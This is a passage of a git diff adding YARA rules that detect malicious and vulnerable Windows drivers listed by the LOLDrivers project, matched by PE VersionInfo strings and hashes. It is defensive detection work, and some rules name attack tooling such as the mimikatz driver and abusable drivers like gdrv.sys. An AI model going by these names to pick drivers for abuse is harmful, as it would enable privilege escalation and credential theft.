+		hash = "32882949ea084434a376451ff8364243a50485a3b4af2f2240bb5f20c164543d"
+		hash = "6661320f779337b95bbbe1943ee64afb2101c92f92f3d1571c1bf4201c38c724"
+		hash = "86047bb1969d1db455493955fd450d18c62a3f36294d0a6c3732c88dfbcc4f62"
+		hash = "06c5ebd0371342d18bc81a96f5e5ce28de64101e3c2fd0161d0b54d8368d2f1f"
+		hash = "4734a0a5d88f44a4939b8d812364cab6ca5f611b9b8ceebe27df6c1ed3a6d8a4"
+		hash = "770f33259d6fb10f4a32d8a57d0d12953e8455c72bb7b60cb39ce505c507013a"
+		hash = "50819a1add4c81c0d53203592d6803f022443440935ff8260ff3b6d5253c0c76"
+		hash = "f9f2091fccb289bcf6a945f6b38676ec71dedb32f3674262928ccaf840ca131a"
+		hash = "fa9abb3e7e06f857be191a1e049dd37642ec41fb2520c105df2227fcac3de5d5"
+		hash = "139f8412a7c6fdc43dcfbbcdba256ee55654eb36a40f338249d5162a1f69b988"
+		hash = "e1cb86386757b947b39086cc8639da988f6e8018ca9995dd669bdc03c8d39d7d"
+		hash = "e6f764c3b5580cd1675cbf184938ad5a201a8c096607857869bd7c3399df0d12"
+		hash = "bb2422e96ea993007f25c71d55b2eddfa1e940c89e895abb50dd07d7c17ca1df"
+		date = "2023-06-14"
+		score = 70
+		id = "05060e37-3c01-5b86-a3ee-6e141399164a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e0064006f007700730020004700550049002000730079006d0062006f006c00690063002000640065006200750067006700650072 } /* FileDescription WindowsGUIsymbolicdebugger */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e } /* CompanyName MicrosoftCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e0036003800350020002800570069006e004200750069006c0064002e003100360030003100300031002e00300038003000300029 } /* FileVersion WinBuild */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310039003000340031002e003600380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770069006e006400620067002e007300790073 } /* InternalName windbgsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074003f002000570069006e0064006f00770073003f0020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770069006e006400620067002e007300790073 } /* OriginalFilename windbgsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]003f0020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Sensecorp_42B2 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "42b22faa489b5de936db33f12184f6233198bdf851a18264d31210207827ba25"
+		date = "2023-06-14"
+		score = 70
+		id = "6b64ff77-866b-5d77-b2cf-5e507acc6cb9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 } /* FileDescription SenseDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 } /* CompanyName SenseCORP */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035002e0030002e0030 } /* ProductVersion  */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 } /* LegalCopyright CopyrightC */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Legalcorp_Pciexpressvideocapture_FD22 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PcieCubed.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "fd223833abffa9cd6cc1848d77599673643585925a7ee51259d67c44d361cce8"
+		date = "2023-06-14"
+		score = 70
+		id = "c9b28922-d4c7-5c09-9df8-b7b8d8ffc2e8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005000430049006500200056006900640065006f00200043006100700074007500720065 } /* FileDescription PCIeVideoCapture */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006500670061006c00200043006f00720070002e } /* CompanyName LegalCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e00310035 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300490020004500780070007200650073007300200056006900640065006f00200043006100700074007500720065 } /* ProductName PCIExpressVideoCapture */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005000630069006500430075006200650064002e007300790073 } /* OriginalFilename PcieCubedsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00320030003100360020004c006500670061006c } /* LegalCopyright Legal */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Microsoftcorporation_Ntbiosys_Microsoftrwindowsrntoperatingsystem_C0D8 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ntbios_2.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c0d88db11d0f529754d290ed5f4c34b4dba8c4f2e5c4148866daabeab0d25f9c"
+		hash = "96bf3ee7c6673b69c6aa173bb44e21fa636b1c2c73f4356a7599c121284a51cc"
+		date = "2023-06-14"
+		score = 70
+		id = "f16b4b22-985a-5d39-ae51-709aa9a69d8d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006e007400620069006f00730020006400720069007600650072 } /* FileDescription ntbiosdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e } /* CompanyName MicrosoftCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002c00200030002c00200032002c00200031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e007400620069006f002e007300790073 } /* InternalName ntbiosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020004d006900630072006f0073006f00660074002800520029002000570069006e0064006f0077007300200028005200290020004e00540020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftRWindowsRNTOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e007400620069006f0073002e007300790073 } /* OriginalFilename ntbiossys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000300033 } /* LegalCopyright C */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Gentilkiwibenjamindelpy_Mimidrv_Mimidrvmimikatz_200F {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - mimidrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "200f98655d1f46d2599c2c8605ebb7e335fee3883a32135ca1a81e09819bc64a"
+		date = "2023-06-14"
+		score = 70
+		id = "8a8887dd-0f3d-5ab4-a945-b47966789b99"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006d0069006d006900640072007600200066006f0072002000570069006e0064006f0077007300200028006d0069006d0069006b00610074007a0029 } /* FileDescription mimidrvforWindowsmimikatz */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 } /* CompanyName gentilkiwiBenjaminDELPY */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006d0069006d0069006400720076 } /* InternalName mimidrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006d0069006d006900640072007600200028006d0069006d0069006b00610074007a0029 } /* ProductName mimidrvmimikatz */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006d0069006d0069006400720076002e007300790073 } /* OriginalFilename mimidrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003000370020002d00200032003000310039002000670065006e00740069006c006b0069007700690020002800420065006e006a0061006d0069006e002000440045004c005000590029 } /* LegalCopyright CopyrightcgentilkiwiBenjaminDELPY */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_E7AF {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_6.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e7af7bcb86bd6bab1835f610671c3921441965a839673ac34444cf0ce7b2164e"
+		hash = "b9dad0131c51e2645e761b74a71ebad2bf175645fa9f42a4ab0e6921b83306e3"
+		hash = "8d9a2363b757d3f127b9c6ed8f7b8b018e652369bc070aa3500b3a978feaa6ce"
+		hash = "06a0ec9a316eb89cb041b1907918e3ad3b03842ec65f004f6fa74d57955573a4"
+		date = "2023-06-14"
+		score = 70
+		id = "5f883209-6887-5cb4-96bb-988898d47c09"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 } /* FileDescription WANTransportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e } /* CompanyName MicrosoftCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003100370032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 } /* InternalName wantdsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 } /* OriginalFilename wantdsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Gmer_Gmersys_Gmer_18C9 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gmer64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7"
+		date = "2023-06-14"
+		score = 70
+		id = "a2197304-4455-52bb-ac73-9218b310bb99"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004d00450052002000440072006900760065007200200068007400740070003a002f002f007700770077002e0067006d00650072002e006e00650074 } /* FileDescription GMERDriverhttpwwwgmernet */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004d00450052 } /* CompanyName GMER */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200030002c002000360039003800330020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200036003900380033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006d0065007200360034002e007300790073 } /* InternalName gmersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004d00450052 } /* ProductName GMER */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006d0065007200360034002e007300790073 } /* OriginalFilename gmersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200047004d0045005200200032003000300033002d0032003000310033 } /* LegalCopyright CopyrightCGMER */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_6908 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_2.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f"
+		date = "2023-06-14"
+		score = 70
+		id = "3bd8b888-8170-5da6-ba1c-f13c1ca27e6f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 } /* FileDescription WANTransportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e } /* CompanyName MicrosoftCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003900330038 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 } /* InternalName wantdsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 } /* OriginalFilename wantdsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Microsoftcorporation_Wantdsys_Microsoftwindowsoperatingsystem_81C7 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - wantd_3.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "81c7bb39100d358f8286da5e9aa838606c98dfcc263e9a82ed91cd438cb130d1"
+		date = "2023-06-14"
+		score = 70
+		id = "43ae822a-c4c4-5525-bfd3-a05d1ec50bd0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570041004e0020005400720061006e00730070006f007200740020004400720069007600650072 } /* FileDescription WANTransportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e } /* CompanyName MicrosoftCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e003900330038 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00770061006e00740064002e007300790073 } /* InternalName wantdsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f00660074002000570069006e0064006f007700730020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00770061006e00740064002e007300790073 } /* OriginalFilename wantdsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Sensecorp_7F45 {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Sense5Ext.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7f4555a940ce1156c9bcea9a2a0b801f9a5e44ec9400b61b14a7b1a6404ffdf6"
+		date = "2023-06-14"
+		score = 70
+		id = "6c1f5ba4-fd14-5069-9d99-e3072b2dbbc2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530065006e0073006500350020004400720069007600650072 } /* FileDescription SenseDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530065006e00730065003500200043004f00520050 } /* CompanyName SenseCORP */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0036002e0030002e0030 } /* ProductVersion  */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320032 } /* LegalCopyright CopyrightC */
+	condition:
+		all of them
+}
+
+
+rule MAL_Driver_Microsoftcorporation_Ndislansys_Microsoftwindowsoperatingsystem_B0EB {
+	meta:
+		description = "Detects malicious driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ndislan.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b0eb4d999e4e0e7c2e33ff081e847c87b49940eb24a9e0794c6aa9516832c427"
+		date = "2023-06-14"
+		score = 70
+		id = "c94adcf3-2ea6-5856-9327-2e5ed1c49b22"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d00530020004c0041004e0020004400720069007600650072 } /* FileDescription MSLANDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e } /* CompanyName MicrosoftCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e0031003400320031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 } /* InternalName ndislansys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f0066007400ae002000570069006e0064006f0077007300ae0020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftWindowsOperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e006400690073006c0061006e002e007300790073 } /* OriginalFilename ndislansys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/yara-rules_vuln_drivers_strict.yar b/yara-Neo23x0/yara-rules_vuln_drivers_strict.yar
new file mode 100644
index 0000000..64624bc
--- /dev/null
+++ b/yara-Neo23x0/yara-rules_vuln_drivers_strict.yar
@@ -0,0 +1,6831 @@
+
+rule PUA_VULN_Driver_Cpuid_Cpuzsys_Cpuidservice_34BE {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "34bee22c18ddbddbe115cf1ab55cabf0e482aba1eb2c343153577fb24b7226d3"
+		hash = "5177a3b7393fb5855b2ec0a45d4c91660b958ee077e76e5a7d0669f2e04bcf02"
+		hash = "ee45fd2d7315fd039f3585a66e7855ba4af9d4721e1448e602623de14e932bbe"
+		hash = "bac709c49ddee363c8e59e515f2f632324a0359e932b7d8cb1ce2d52a95981aa"
+		date = "2023-06-14"
+		score = 40
+		id = "eacc5085-aa34-5f46-977d-84761649bd6d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310037002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_D7E0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d7e091e0d478c34232e8479b950c5513077b3a69309885cee4c61063e5f74ac0"
+		date = "2023-06-14"
+		score = 40
+		id = "62c2caf4-0f8e-5873-bc77-ea5a6b390e29"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310031002e0031002e003500310030 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Eldoscorporation_Elrawdsksys_Rawdisk_4744 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elrawdsk.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4744df6ac02ff0a3f9ad0bf47b15854bbebb73c936dd02f7c79293a2828406f6"
+		hash = "5a826b4fa10891cf63aae832fc645ce680a483b915c608ca26cedbb173b1b80a"
+		date = "2023-06-14"
+		score = 40
+		id = "13de286c-92f2-5677-86ee-99c70a338c8e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200610077004400690073006b0020004400720069007600650072002e00200041006c006c006f00770073002000770072006900740065002000610063006300650073007300200074006f002000660069006c0065007300200061006e006400200072006100770020006400690073006b00200073006500630074006f0072007300200066006f0072002000750073006500720020006d006f006400650020006100700070006c00690063006100740069006f006e007300200069006e002000570069006e0064006f007700730020003200300030003000200061006e00640020006c0061007400650072002e } /* FileDescription RawDiskDriverAllowswriteaccesstofilesandrawdisksectorsforusermodeapplicationsinWindowsandlater */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c0064006f005300200043006f00720070006f0072006100740069006f006e } /* CompanyName EldoSCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c0020003100300036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200031002c002000320037002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 } /* InternalName elrawdsksys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200610077004400690073006b } /* ProductName RawDisk */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065006c00720061007700640073006b002e007300790073 } /* OriginalFilename elrawdsksys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d0032003000310031002c00200045006c0064006f005300200043006f00720070006f0072006100740069006f006e0020 } /* LegalCopyright CopyrightCEldoSCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_81AA {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "81aafae4c4158d0b9a6431aff0410745a0f6a43fb20a9ab316ffeb8c2e2ccac0"
+		date = "2023-06-14"
+		score = 40
+		id = "03cc80bd-699d-5c23-9acc-a523fa3110f3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_F6CD {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f6cd7353cb6e86e98d387473ed6340f9b44241867508e209e944f548b9db1d5f"
+		date = "2023-06-14"
+		score = 40
+		id = "40d54ac5-209a-5f0e-b799-f492b7fcc973"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
